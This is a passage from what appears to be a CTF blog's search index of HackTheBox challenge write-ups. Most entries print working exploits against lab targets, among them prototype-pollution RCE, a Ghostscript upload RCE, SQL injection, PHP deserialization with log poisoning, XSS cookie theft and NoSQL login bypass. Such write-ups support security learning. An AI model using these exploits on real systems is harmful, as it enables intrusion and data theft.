login_url=f\u0026#34;{base_url}/login\u0026#34; headers={\u0026#34;Content-Type\u0026#34;:\u0026#34;application/json\u0026#34;,\u0026#34;User-Agent\u0026#34;:\u0026#34;Mozilla/5.0\u0026#34;} session=requests.Session();payloads=[{\u0026#34;email\u0026#34;:{\u0026#34;$ne\u0026#34;:None},\u0026#34;password\u0026#34;:{\u0026#34;$exists\u0026#34;:True}}] attack() Summary CandyVault: model the crypto leak, recover the missing secret, and decrypt the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-CandyVault-Challenge/","protected":null,"snippet":"CandyVault: model the crypto leak, recover the missing secret, and decrypt the flag.","tags":["htb","crypto"],"title":"HackTheBox CandyVault Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/811\nDescription This policy is cursed, can you bypass it?\nExploitation Looking at the code, the most developed aspect seems to be the logging in the websocket, so here\u0026rsquo;s the approach to interact with it:\nwscat -c http://94.237.59.180:49425/ws The nonce is shown in the default policy, and this is the already provided payload with the nonce:\n\u0026lt;script nonce=\u0026#34;5247551b650fb492cdb1cad3fe71d337\u0026#34;\u0026gt; fetch(\u0026#39;/callback\u0026#39;, { method: \u0026#39;POST\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39; }, body: JSON.stringify({ cookies: document.cookie }) }); \u0026lt;/script\u0026gt; Trigger the Bot, and the result will be displayed either in the WebSocket logs or in the Request History.\nNote: Previously, the Request History feature was not implemented, which is why using the websocket was necessary to capture the information.\nSummary Cursed Stale Policy: abuse websocket to cross the web trust boundary and recover the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Cursed-Stale-Policy-Challenge/","protected":null,"snippet":"Cursed Stale Policy: abuse websocket to cross the web trust boundary and recover the flag.","tags":["htb","web","websocket"],"title":"HackTheBox Cursed Stale Policy Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/783\nDescription Welcome, friend. fsociety has discovered a dangerous LaTeX application hidden by a notorious digital outlaw within E Corp\u0026rsquo;s systems. As a top member of fsociety, it\u0026rsquo;s your duty to uncover and neutralize this threat before it wreaks havoc.\nExploitation #!/usr/bin/python3 import base64,pickle,binascii,pickletools original_cookie = \u0026#39;gASVPQAAAAAAAACMCF9fbWFpbl9flIwEVXNlcpSTlCmBlH2UKIwIdXNlcm5hbWWUjAFhlIwNYXV0aGVudGljYXRlZJSJdWIu\u0026#39; pickle_data = base64.b64decode(original_cookie) pickletools.dis(pickle_data) class User: def __init__(self, username, authenticated=False): self.username = username self.authenticated = authenticated decoded_cookie = base64.b64decode(original_cookie) user = pickle.loads(decoded_cookie) user.authenticated = True modified_pickle = pickle.dumps(user) modified_cookie = base64.b64encode(modified_pickle).decode(\u0026#39;utf-8\u0026#39;) print(\u0026#34;Modified cookie:\u0026#34;, modified_cookie) latex_code = r\u0026#34;\u0026#34;\u0026#34; \\documentclass{article} \\usepackage{verbatim} \\begin{document} \\section{flag.txt} \\verbatiminput{flag.txt} \\end{document} \u0026#34;\u0026#34;\u0026#34; byte_representation = latex_code.encode(\u0026#39;utf-8\u0026#39;) hex_representation = binascii.hexlify(byte_representation).decode(\u0026#39;utf-8\u0026#39;) formatted_output = \u0026#39;\u0026#39; for i in range(0, len(hex_representation), 2): hex_pair = hex_representation[i:i+2] if hex_pair == \u0026#39;0a\u0026#39;: formatted_output += \u0026#39;\\n\u0026#39; else: formatted_output += f\u0026#34;^^{hex_pair}\u0026#34; print(formatted_output) Copy the modified cookie and navigate to /. Paste the generated payload into the LaTeX-to-PDF parser:\n^^5c^^64^^6f^^63^^75^^6d^^65^^6e^^74^^63^^6c^^61^^73^^73^^7b^^61^^72^^74^^69^^63^^6c^^65^^7d ^^5c^^75^^73^^65^^70^^61^^63^^6b^^61^^67^^65^^7b^^76^^65^^72^^62^^61^^74^^69^^6d^^7d ^^5c^^62^^65^^67^^69^^6e^^7b^^64^^6f^^63^^75^^6d^^65^^6e^^74^^7d ^^5c^^73^^65^^63^^74^^69^^6f^^6e^^7b^^66^^6c^^61^^67^^2e^^74^^78^^74^^7d ^^5c^^76^^65^^72^^62^^61^^74^^69^^6d^^69^^6e^^70^^75^^74^^7b^^66^^6c^^61^^67^^2e^^74^^78^^74^^7d ^^5c^^65^^6e^^64^^7b^^64^^6f^^63^^75^^6d^^65^^6e^^74^^7d Download the generated PDF, which contains the flag.\nSummary DLLAMA: abuse unsafe deserialization to cross the trust boundary and reach the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-DLLAMA-Challenge/","protected":null,"snippet":"DLLAMA: abuse unsafe deserialization to cross the trust boundary and reach the flag.","tags":["htb","web","deserialization"],"title":"HackTheBox DLLAMA Challenge"},{"categories":["challenge"],"contents":"","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Execute-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","pwn","bof","shellcode","linux"],"title":"HackTheBox Execute Challenge"},{"categories":["challenge"],"contents":"","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Fishy-HTTP-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","forensics","pcap"],"title":"HackTheBox Fishy HTTP Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/245\nDescription A city of lights, with retrofuturistic 80s peoples, and coffee, and drinks from another world\u0026hellip; all the wooing in the world to make you feel more lonely\u0026hellip; this ride ends here, with a tribute page of the British synthwave band called Gunship. 🎶\nExploitation #!/usr/bin/python3 import requests,sys def get_base_url(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return f\u0026#34;http://{host}:{port}/\u0026#34; TARGET_URL = get_base_url() r = requests.post(TARGET_URL+\u0026#39;/api/submit\u0026#39;, json = { \u0026#34;artist.name\u0026#34;:\u0026#34;Gingell\u0026#34;, \u0026#34;__proto__.block\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;Text\u0026#34;, \u0026#34;line\u0026#34;: \u0026#34;console.log(process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;cat flag* \u0026gt; /app/static/out\u0026#39;).toString())\u0026#34; } }) print(r.status_code) print(r.text) print(requests.get(TARGET_URL+\u0026#39;/static/out\u0026#39;).text) Summary Gunship: identify the broken request handling, prove control, and use it to recover the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Gunship-Challenge/","protected":null,"snippet":"Gunship: identify the broken request handling, prove control, and use it to recover the flag.","tags":["htb","web"],"title":"HackTheBox Gunship Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/551\nDescription In the mysterious depths of the digital sea, a specialized JavaScript calculator has been crafted by tech-savvy squids. With multiple arms and complex problem-solving skills, these cephalopod engineers use it for everything from inkjet trajectory calculations to deep-sea math. Attempt to outsmart it at your own risk! 🦑\nExploitation require(`fs`).readFileSync(`../../flag.txt`).toString() Summary Jscalc: use path traversal to escape the intended read path and recover the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Jscalc-Challenge/","protected":null,"snippet":"Jscalc: use path traversal to escape the intended read path and recover the flag.","tags":["htb","web","path-traversal"],"title":"HackTheBox Jscalc Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/412\nDescription An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all?\nExploitation curl 94.237.63.109:48332/api/getfacts -d \u0026#39;{\u0026#34;type\u0026#34;:true}\u0026#39; Summary Juggling facts: identify the broken request handling, prove control, and use it to recover the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Juggling-facts-Challenge/","protected":null,"snippet":"Juggling facts: identify the broken request handling, prove control, and use it to recover the flag.","tags":["htb","web"],"title":"HackTheBox Juggling facts Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/647\nDescription Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries\u0026rsquo; privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.\nExploitation sqlmap -u \u0026#34;http://94.237.59.180:40492/\u0026#34; --method POST --data \u0026#34;username=a\u0026amp;password=a\u0026#34; --batch --ignore-code 401 --- Parameter: username (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: username=a\u0026#39; RLIKE (SELECT (CASE WHEN (5665=5665) THEN 0x61 ELSE 0x28 END))-- Isul\u0026amp;password=a Type: error-based Title: MySQL \u0026gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=a\u0026#39; OR (SELECT 8955 FROM(SELECT COUNT(*),CONCAT(0x7178716271,(SELECT (ELT(8955=8955,1))),0x717a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- pzFe\u0026amp;password=a Type: time-based blind Title: MySQL \u0026gt;= 5.0.12 AND time-based blind (query SLEEP) Payload: username=a\u0026#39; AND (SELECT 1571 FROM (SELECT(SLEEP(5)))MEYL)-- abGQ\u0026amp;password=a --- sqlmap -u \u0026#34;http://94.237.59.180:40492/\u0026#34; --method POST --data \u0026#34;username=a\u0026amp;password=a\u0026#34; --batch --ignore-code 401 --dbs sqlmap -u \u0026#34;http://94.237.59.180:40492/\u0026#34; --method POST --data \u0026#34;username=a\u0026amp;password=a\u0026#34; --batch --ignore-code 401 -D korp_terminal --tables sqlmap -u \u0026#34;http://94.237.59.180:40492/\u0026#34; --method POST --data \u0026#34;username=a\u0026amp;password=a\u0026#34; --batch --ignore-code 401 -dump Brute Force the Hash echo -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat /tmp/hash.txt --show rm -rf /tmp/hash.txt this yelds password123 so admin:password123\nSummary KORP Terminal: exploit the SQL injection, extract the needed data, and reach the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-KORP-Terminal-Challenge/","protected":null,"snippet":"KORP Terminal: exploit the SQL injection, extract the needed data, and reach the flag.","tags":["htb","web","sql-injection"],"title":"HackTheBox KORP Terminal Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/815\nDescription In a haunted graveyard, spirits hide among the numbers. Can you identify the smallest and largest among them before they vanish?\nTask MiniMax We\u0026rsquo;ve intercepted codes from an underground organisation with intentions of malicious activity. Intelligence has informed us that most of the numbers are garbage, but the biggest and smallest numbers in the file form co-ordinates of the group\u0026rsquo;s next attack location.\nIdentify these 2 numbers, then print out first the minimum and then the maximum. Please be swift, agent - the clock is ticking!\nExample Input 3.29 3.09 1.34 2.89\nOutput 1.34\n3.29\nExploitation import sys numbers = [] for line in sys.stdin: nums = [float(x) for x in line.split()] numbers.extend(nums) min_num = min(numbers) max_num = max(numbers) print(min_num) print(max_num) Summary MinMax: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-MinMax-Challenge/","protected":null,"snippet":"MinMax: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox MinMax Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/55\nDescription During an assessment of a unix system the HTB team found a suspicious directory. They looked at everything within but couldn\u0026rsquo;t find any files with malicious intent.\nExploitation Extract the challenge archive to find multiple folders filled with various files.\nfind .secret -type f | awk -F\u0026#39;/\u0026#39; \u0026#39;{ print $2 \u0026#34; \u0026#34; $3 }\u0026#39; | sort -n -k2 | awk -F\u0026#39; \u0026#39; \u0026#39;{ print $1 }\u0026#39; | tr -d \u0026#39;\\n\u0026#39; | base64 -d Summary misDIRection: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-misDIRection-Challenge/","protected":null,"snippet":"misDIRection: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox misDIRection Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/303\nDescription It\u0026rsquo;s time for a shiny new reveal for the first-ever text neonifier. Come test out our brand new website and make any text glow like a lo-fi neon tube!\nExploitation curl http://94.237.60.154:35761/ -s -X POST -d \u0026#39;neon=a%0A%3C%25%3D%20File.open%28%27flag.txt%27%29.read%20%25%3E\u0026#39; | grep -Eo \u0026#39;HTB{.*}\u0026#39; Summary Neonify: identify the broken request handling, prove control, and use it to recover the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Neonify-Challenge/","protected":null,"snippet":"Neonify: identify the broken request handling, prove control, and use it to recover the flag.","tags":["htb","web"],"title":"HackTheBox Neonify Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/710\nDescription After many perils and challenges, you have finally entered vault 79. Going through the remnants of a place people once dwelled by people, deep inside the vault you lay your eyes upon an unsealed bunker. You move it\u0026rsquo;s entrance, and inside you lay your eyes on the long-sought gold. As you celebrate and rejoice, the door behind you closes, trapping you inside. A screen appears, telling you that you need to give big amounts of gold based on numbers in the screen, or you will be stuck inside forever. After solving so many problems however, and so close to success, you aren\u0026rsquo;t prepared to give away the gold just to escape. You start studying what the screen says, and start to devise a way to keep as much gold as you can. Can you give away the least possible gold, and outsmart the vault?\nExploitation #!/usr/bin/env python3 from pwn import * def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) def get_values(test_n): global a io.recvuntil(f\u0026#39;Test {test_n + 1}/100\\n\u0026#39;.encode()) n, k = list(map(int, io.recvline().rstrip().decode().split())) a = [0] + list(map(int, io.recvline().rstrip().decode().split())) return n, k def divide_and_conquer(i, l, r, optl, optr): if l \u0026gt; r: return mid = (l + r) // 2 best_k = -1 dp[i][mid] = float(\u0026#39;inf\u0026#39;) global cl, cr, cost, count for k in range(optl, min(mid, optr) + 1): while cr \u0026lt; mid: cr += 1 add(cr) while cr \u0026gt; mid: remove(cr) cr -= 1 while cl \u0026lt; k + 1: remove(cl) cl += 1 while cl \u0026gt; k + 1: cl -= 1 add(cl) tmp = dp[i - 1][k] + cost if tmp \u0026lt; dp[i][mid]: dp[i][mid] = tmp best_k = k divide_and_conquer(i, l, mid - 1, optl, best_k) divide_and_conquer(i, mid + 1, r, best_k, optr) def find_minimum_cost(n, k): global dp, cl, cr, cost, count maxA = max(a) dp = [[float(\u0026#39;inf\u0026#39;)] * (n + 1) for _ in range(k + 1)] dp[0][0] = 0 for i in range(1, k + 1): cl, cr = 1, 0 cost = 0 count = [0] * (maxA + 1) divide_and_conquer(i, i, n, i - 1, n - 1) return dp[k][n] def add(pos): global cost x = a[pos] cost += count[x] count[x] += 1 def remove(pos): global cost x = a[pos] count[x] -= 1 cost -= count[x] def send_solution(min_cost): io.sendline(f\u0026#39;{int(min_cost)}\u0026#39;.encode()) def get_flag(): io.recvuntil(b\u0026#39;HTB{\u0026#39;) return b\u0026#39;HTB{\u0026#39; + io.recvline().rstrip() def pwn(): for t in range(100): print(\u0026#39;Test\u0026#39;, t + 1) n, k = get_values(t) min_cost = find_minimum_cost(n, k) send_solution(min_cost) flag = get_flag() print(flag) if __name__ == \u0026#39;__main__\u0026#39;: a = [] dp = [] cost = 0 count = [] cl = 0 cr = 0 io = get_process() pwn() Summary Nothing Without A Cost: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Nothing-Without-A-Cost-Challenge/","protected":null,"snippet":"Nothing Without A Cost: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Nothing Without A Cost Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/812\nDescription The ghostly clock ticks strangely. Determine whether its chimes are even or odd to calm the restless spirits.\nExploitation Task Oddly Even Take in a number, print \u0026ldquo;odd\u0026rdquo; if odd and \u0026ldquo;even\u0026rdquo; if even.\nExample Input 3\nOutput odd\nExploitation number = int(input()) if number % 2 == 0: print(\u0026#34;even\u0026#34;) else: print(\u0026#34;odd\u0026#34;) Summary Oddly Even: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Oddly-Even-Challenge/","protected":null,"snippet":"Oddly Even: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Oddly Even Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/90\nDescription Optimus Prime has returned to Earth, choose an historical character and overcome this threat.\nExploitation #!/usr/bin/env python3 from math import gcd from pwn import remote, sys def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) def get_public_key(p) -\u0026gt; int: p.sendlineafter(b\u0026#39;Enter the option: \u0026#39;, b\u0026#39;4\u0026#39;) p.recvuntil(b\u0026#39;PUBLIC KEY: \u0026#39;) return int(p.recvline()) def get_encrypted_password(p) -\u0026gt; int: p.recvuntil(b\u0026#39;ENCRYPTED PASSWORD: \u0026#39;) return int(p.recvline()) def main(): try: r = get_process() n1 = get_public_key(r) c1 = get_encrypted_password(r) r.close() r = get_process() n2 = get_public_key(r) c2 = get_encrypted_password(r) px = gcd(n1, n2) p2 = n2 // px e = 65537 phi_n2 = (px - 1) * (p2 - 1) d2 = pow(e, -1, phi_n2) m = bytes.fromhex(hex(pow(c2, d2, n2))[2:]) r.sendlineafter(b\u0026#39;Please use it to proceed: \u0026#39;, m) r.recvuntil(b\u0026#39;ACCESS GRANTED: \u0026#39;) print(r.recvline().decode()) r.close() except KeyboardInterrupt: print(\u0026#34;\\nInterrupted by user.\u0026#34;) try: r.close() except: pass if __name__ == \u0026#39;__main__\u0026#39;: main() Summary Optimus Prime: model the crypto leak, recover the missing secret, and decrypt the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Optimus-Prime-Challenge/","protected":null,"snippet":"Optimus Prime: model the crypto leak, recover the missing secret, and decrypt the flag.","tags":["htb","crypto"],"title":"HackTheBox Optimus Prime Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/229\nDescription Bees are comfy 🍯\nbees are great 🌟🌟🌟\nthis is a petpet generator 👋\nlet\u0026rsquo;s join forces and save the bees today! 🐝\nExploitation The source indicates that it\u0026rsquo;s using ghostscript 9.23 which is outdated.\n#!/usr/bin/env python3 import requests,sys,os if len(sys.argv) \u0026lt; 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;url\u0026gt;\u0026#34;) sys.exit(1) upload_url = f\u0026#34;http://{sys.argv[1]}/api/upload\u0026#34; flag_url = f\u0026#34;http://{sys.argv[1]}/static/petpets/flag.txt\u0026#34; file_name = \u0026#34;exploit.jpg\u0026#34; payload = \u0026#34;%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: -0 -0 100 100\\n\\nuserdict /setpagedevice undef\\nsave\\nlegal\\n{ null restore } stopped { pop } if\\n{ legal } stopped { pop } if\\nrestore\\nmark /OutputFile (%pipe%cp /app/flag /app/application/static/petpets/flag.txt) currentdevice putdeviceprops\u0026#34; try: with open(file_name, \u0026#39;wb\u0026#39;) as f: f.write(payload.encode()) with open(file_name, \u0026#39;rb\u0026#39;) as f: files = {\u0026#39;file\u0026#39;: (\u0026#39;exploit.jpg\u0026#39;, f, \u0026#39;image/jpeg\u0026#39;)} response = requests.post(upload_url, files=files) if response.status_code == 200: print(\u0026#34;Exploit uploaded successfully.\u0026#34;) flag_response = requests.get(flag_url) if flag_response.status_code == 200: print(\u0026#34;Flag found:\u0026#34;) print(flag_response.text) else: print(f\u0026#34;Failed to retrieve flag. Status code: {flag_response.status_code}\u0026#34;) else: print(f\u0026#34;Upload failed with status code: {response.status_code}\u0026#34;) print(f\u0026#34;Response content: {response.text}\u0026#34;) except FileNotFoundError: print(\u0026#34;Error: Exploit image not found. Payload may have failed.\u0026#34;) except requests.RequestException as e: print(f\u0026#34;Error during request: {e}\u0026#34;) finally: if os.path.exists(file_name): os.remove(file_name) Summary PetPet Rcbee: abuse file-upload to cross the web trust boundary and recover the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-PetPet-Rcbee-Challenge/","protected":null,"snippet":"PetPet Rcbee: abuse file-upload to cross the web trust boundary and recover the flag.","tags":["htb","web","file-upload"],"title":"HackTheBox PetPet Rcbee Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/153\nDescription Who is lucky enough to be included in the phonebook?\nExploitation #!/usr/bin/python3 import requests,sys if len(sys.argv) \u0026lt; 2: print(\u0026#34;Usage: python script.py \u0026lt;url\u0026gt;\u0026#34;) sys.exit(1) username = \u0026#34;reese\u0026#34; login_url = f\u0026#34;http://{sys.argv[1]}/login\u0026#34; characters = \u0026#34;qwertyuiopQWERTYUIOPasdfghjklASDFGHJKLzxcvbnmZXCVBNM_-[]}{1234567890\u0026#34; def create_session(): return requests.Session() def try_login(user, pw, session): headers = { \u0026#39;X-Forwarded-For\u0026#39;: pw, \u0026#39;Referer\u0026#39;: login_url } data = { \u0026#34;username\u0026#34;: user, \u0026#34;password\u0026#34;: pw } response = session.post(login_url, headers=headers, data=data, allow_redirects=False) return \u0026#39;location\u0026#39; not in response.headers or \u0026#39;/login\u0026#39; not in response.headers.get(\u0026#39;location\u0026#39;, \u0026#39;\u0026#39;) def force_one(prefix, session): for x in characters: if try_login(username, prefix + x + \u0026#34;*\u0026#34;, session): return x return \u0026#39;\u0026#39; def forcer(): got = \u0026#34;\u0026#34; session = create_session() while True: next_char = force_one(got, session) if not next_char: break got += next_char print(got) forcer() Summary Phonebook: identify the broken request handling, prove control, and use it to recover the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Phonebook-Challenge/","protected":null,"snippet":"Phonebook: identify the broken request handling, prove control, and use it to recover the flag.","tags":["htb","web"],"title":"HackTheBox Phonebook Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/459\nDescription Welcome to the Prying Eyes, a \u0026ldquo;safe space\u0026rdquo; for those curious about the large organisations that dominate our life. How safe is the site really?\nExploitation wget https://raw.githubusercontent.com/Sybil-Scan/imagemagick-lfi-poc/refs/heads/main/generate.py python generate.py -f \u0026#39;/home/node/app/flag.txt\u0026#39; -o exploit.png Register and login to create a new post with the file exploit.png. Then, using Burp Suite, intercept the request and replace the boundary 121759579010930786621073729912 with your custom boundary and add.\n-----------------------------121759579010930786621073729912 Content-Disposition: form-data; name=\u0026#34;blur\u0026#34; 1 -write uploads/hi.png ; echo After the upload simply:\nwget http://94.237.51.1:35160/uploads/hi.png exiftool -b flag echo \u0026#34;$(exiftool flag -b 2\u0026gt;/dev/null | grep -Eo \u0026#39;[0-9a-fA-F]{40,}\u0026#39;)\u0026#34; | xxd -r -p Summary Prying Eyes: use path traversal to escape the intended read path and recover the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Prying-Eyes-Challenge/","protected":null,"snippet":"Prying Eyes: use path traversal to escape the intended read path and recover the flag.","tags":["htb","web","path-traversal","file-upload"],"title":"HackTheBox Prying Eyes Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/816\nDescription A cursed spell has altered a scroll, changing key letters. Replace the haunted letter with a random one to break the curse!\nReplacement TODO\nExample Input Test me\ne\nK\nOutput TKst mK\nExploitation input_string = input() char_to_replace = input() replacement_char = input() modified_string = input_string.replace(char_to_replace, replacement_char) print(modified_string) Summary Replacement: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Replacement-Challenge/","protected":null,"snippet":"Replacement: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Replacement Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/813\nDescription A dark incantation was written backward in a spellbook. Reverse the cursed words to reveal their true meaning.\nTask Reverse Take in a string. Print the reverse.\nExample Input Test me\nOutput em tseT\nExploitation print(input()[::-1]) Summary Reversal: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Reversal-Challenge/","protected":null,"snippet":"Reversal: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Reversal Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/623\nDescription On a moonless night, you delve into the dark web to uncover the hacker group \u0026ldquo;The Cryptic Shadows.\u0026rdquo; You find an encrypted message guiding you to a web challenge. They claim a cursed amulet, the \u0026lsquo;Amulet of Samhain,\u0026rsquo; can unveil their treasures location\nExploitation Just \u0026lt;img src=\u0026quot;img.jpg\u0026quot; onerror=alert()\u0026gt; in Our Newsletter\nSummary SpookTastic: use the client-side injection path to steal the needed proof and recover the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-SpookTastic-Challenge/","protected":null,"snippet":"SpookTastic: use the client-side injection path to steal the needed proof and recover the flag.","tags":["htb","web","xss"],"title":"HackTheBox SpookTastic Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/648\nDescription Are you ready to unravel the mysteries and expose the truth hidden within Korp\u0026rsquo;s digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.\nExploitation /?format=\u0026#39;;cat ../flag\u0026#39; Summary TimeKORP: use path traversal to escape the intended read path and recover the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-TimeKORP-Challenge/","protected":null,"snippet":"TimeKORP: use path traversal to escape the intended read path and recover the flag.","tags":["htb","web","path-traversal"],"title":"HackTheBox TimeKORP Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/224\nDescription Humanity has exploited our allies, the dart frogs, for far too long, take back the freedom of our lovely poisonous friends. Malicious input is out of the question when dart frogs meet industrialisation. 🐸\nExploitation \u0026lt;?php if ($argc \u0026lt; 3) { echo \u0026#34;Usage: php poc \u0026lt;url\u0026gt; \u0026lt;path\u0026gt;\\n\u0026#34;; exit(1); } class PageModel { public $file; public function __construct($file) { $this-\u0026gt;file = $file; } } $url = $argv[1]; $file_path = $argv[2]; $page_model = new PageModel($file_path); $payload = base64_encode(serialize($page_model)); $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, [ \u0026#34;Cookie: PHPSESSID=$payload\u0026#34;, \u0026#34;User-Agent: \u0026lt;?php system(\u0026#39;ls /\u0026#39;); ?\u0026gt;\u0026#34; ]); $response = curl_exec($ch); curl_close($ch); echo \u0026#34;Response:\\n$response\\n\u0026#34;; php poc \u0026lt;url\u0026gt; \u0026lt;path\u0026gt; /var/log/nginx/access.log /flag_Xapdy Summary Toxic: abuse unsafe deserialization to cross the trust boundary and reach the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Toxic-Challenge/","protected":null,"snippet":"Toxic: abuse unsafe deserialization to cross the trust boundary and reach the flag.","tags":["htb","web","deserialization","rce","php"],"title":"HackTheBox Toxic Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/491\nDescription Intergalactic Ministry of Spies tested Pandora\u0026rsquo;s movement and intelligence abilities. She found herself locked in a room with no apparent means of escape. Her task was to unlock the door and make her way out. Can you help her in opening the door?\nExploitation Just read the source.\nSummary Trapped Source: identify the broken request handling, prove control, and use it to recover the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Trapped-Source-Challenge/","protected":null,"snippet":"Trapped Source: identify the broken request handling, prove control, and use it to recover the flag.","tags":["htb","web"],"title":"HackTheBox Trapped Source Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/196\nDescription A pit of eternal darkness, a mindless journey of abeyance, this feels like a never-ending dream. I think I\u0026rsquo;m hallucinating with the memories of my past life, it\u0026rsquo;s a reflection of how thought I would have turned out if I had tried enough. A weatherman, I said! Someone my community would look up to, someone who is to be respected. I guess this is my way of telling you that I\u0026rsquo;ve been waiting for someone to come and save me. This weather application is notorious for trapping the souls of ambitious weathermen like me. Please defeat the evil bruxa that\u0026rsquo;s operating this website and set me free! 🧙‍♀️\nExploitation #!/usr/bin/python3 import sys,requests def 